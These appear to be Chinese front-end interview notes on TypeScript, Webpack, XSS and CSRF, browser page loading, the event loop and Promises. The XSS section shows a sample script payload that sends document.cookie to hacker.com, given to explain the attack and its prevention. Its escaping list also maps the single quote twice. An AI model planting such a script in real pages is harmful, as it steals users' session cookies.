TypeScript+Webpack+安全+发散

1. never 类型是什么？

• 不应该出现的类型

2. TypeScript 比起 JavaScript 有什么优点？

• 提供了类型约束，因此更可控、更容易重构、更适合大型项目、更容易维护

---

1. 必考：有哪些常见 loader 和 plugin，你用过哪些？

2. 英语题：loader 和 plugin 的区别是什么？

3. 如何按需加载代码？

4. 如何提高构建速度？

5.转义出的文件过大怎么办？

• 关于webpack的面试题总结

---

1. 什么是 XSS 攻击？如何预防？

• XSS

div.innerHTML = userComment  
 userComment 内容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
 <script>就被恶意执行了，这就是 XSS

• 预防

1. 不要使用 innerHTML，改成 innerText，script 就会被当成文本，不执行
2. 如果你一样要用 innerHTML，字符过滤

 把 < 替换成 &lt;
把 > 替换成 &gt;
把 & 替换成 &amp;
把 ' 替换成 &#39;
把 ' 替换成 &quot;

2. 什么是 CSRF 攻击？如何预防？

• CSRF 攻击
• 过程
  用户在 qq.com 登录
  用户切换到 hacker.com（恶意网站）
  hacker.com 发送一个 qq.com/add_friend 请求，让当前用户添加 hacker 为好友。
  用户在不知不觉中添加 hacker 为好友。
  用户没有想发这个请求，但是 hacker 伪造了用户发请求的假象。

---

1. 从输入URL到页面展示中间发生了什么？

• DNS 查询 DNS 缓存
• 建立 TCP 连接（三次握手）连接复用
• 发送 HTTP 请求（请求的四部分）
• 后台处理请求
  • 监听 80 端口
  • 路由
  • 渲染 HTML 模板
  • 生成响应
• 发送 HTTP 响应
• 关闭 TCP 连接（四次挥手）
• 解析 HTML
• 下载 CSS（缓存
• 解析 CSS
• 下载 JS（缓存
• 解析 JS
• 下载图片
• 解析图片
• 渲染 DOM 树
• 渲染样式树
• 执行 JS

---

1、 用户输入

当用户输入关键字并键入回车之后，这意味着当前页面即将要被替换成新的页面，不过在这个流程继续之前，浏览器还给了当前页面一次执行 beforeunload 事件的机会，beforeunload 事件允许页面在退出之前执行一些数据清理操作，还可以询问用户是否要离开当前页面。

2、 url请求过程

首先，网络进程会查找本地缓存是否缓存了该资源。

如果有缓存资源，那么直接返回资源给浏览器进程；如果在缓存中没有查找到资源，那么直接进入网络请求流程。这请求前的第一步是要进行 DNS 解析，以获取请求域名的服务器 IP 地址。如果请求协议是 HTTPS，那么还需要建立 TLS 连接。

• 其中，DNS也有几步缓存：浏览器缓存，hosts文件，
• 如果本地域名解析服务器也没有该域名的记录，则开始递归+迭代解析
• TCP三次握手，HTTP。TLS握手，HTTPS。

接下来就是利用 IP 地址和服务器建立 TCP 连接。连接建立之后，浏览器端会构建请求行、请求头等信息，并把和该域名相关的 Cookie 等数据附加到请求头中，然后向服务器发送构建的请求信息。

数据在进入服务端之前，可能还会先经过负责负载均衡的服务器，它的作用就是将请求合理的分发到多台服务器上，这时假设服务端会响应一个 HTML 文件。

首先浏览器会判断状态码是什么，如果是 200 那就继续解析，如果 400 或 500 的话就会报错，如果 300 的话会进行重定向，这里会有个重定向计数器，避免过多次的重定向，超过次数也会报错。

浏览器开始解析文件，如果是 gzip 格式的话会先解压一下，然后通过文件的编码格式知道该如何去解码文件。

3、 准备渲染进程

默认情况下，Chrome 会为每个页面分配一个渲染进程，也就是说，每打开一个新页面就会配套创建一个新的渲染进程。

4、 渲染阶段

文件解码成功后会正式开始渲染流程，先会根据 HTML 构建 DOM 树，有CSS的话会去构建 CSSOM 树。如果遇到 script 标签的话，会判断是否存在 async 或者 defer ，前者会并行进行下载并执行 JS，后者会先下载文件，然后等待 HTML 解析完成后顺序执行。

如果以上都没有，就会阻塞住渲染流程直到 JS 执行完毕。

CSSOM 树和 DOM 树构建完成后会开始生成 Render 树，这一步就是确定页面元素的布局、样式等等诸多方面的东西
在生成 Render 树的过程中，浏览器就开始调用GPU 绘制，合成图层，将内容显示在屏幕上了。

2. Eventloop？

JavaScript的事件分两种，宏任务(macro-task)和微任务(micro-task)

• 宏任务：包括整体代码script，setTimeout，setInterval
• 微任务：Promise.then(非new Promise)，process.nextTick(node中)
• 事件的执行顺序，是先执行宏任务，然后执行微任务，这个是基础，任务可以有同步任务和异步任务，同步的进入主线程，异步的进入Event Table并注册函数，异步事件完成后，会将回调函数放入Event Queue中(宏任务和微任务是不同的Event Queue)，同步任务执行完成后，会从Event Queue中读取事件放入主线程执行，回调函数中可能还会包含不同的任务，因此会循环执行上述操作。

---

• Promise 的含义
  Promise是一个异步编程的解决方案，简单来讲，Promise类似一个盒子，里面保存着在未来某个时间点才会结束的事件。
  三种状态：
  pending：进行中
  fulfilled ：已经成功
  rejected ：已经失败
  状态改变，只能从 pending 变成 fulfilled 或者 rejected，状态不可逆。

• async实现和常用方法

  • async 函数的实现原理，就是将 Generator 函数和自动执行器，包装在一个函数里。
  • Generator 函数是协程在 ES6 的实现，最大特点就是可以交出函数的执行权（即暂停执行）。
  • 协程是一种用户态的轻量级线程，协程的调度完全由用户控制。协程拥有自己的寄存器上下文和栈。协程调度切换时，将寄存器上下文和栈保存到其他地方，在切回来的时候，恢复先前保存的寄存器上下文和栈，直接操作栈则基本没有内核切换的开销，可以不加锁的访问全局变量，所以上下文的切换非常快。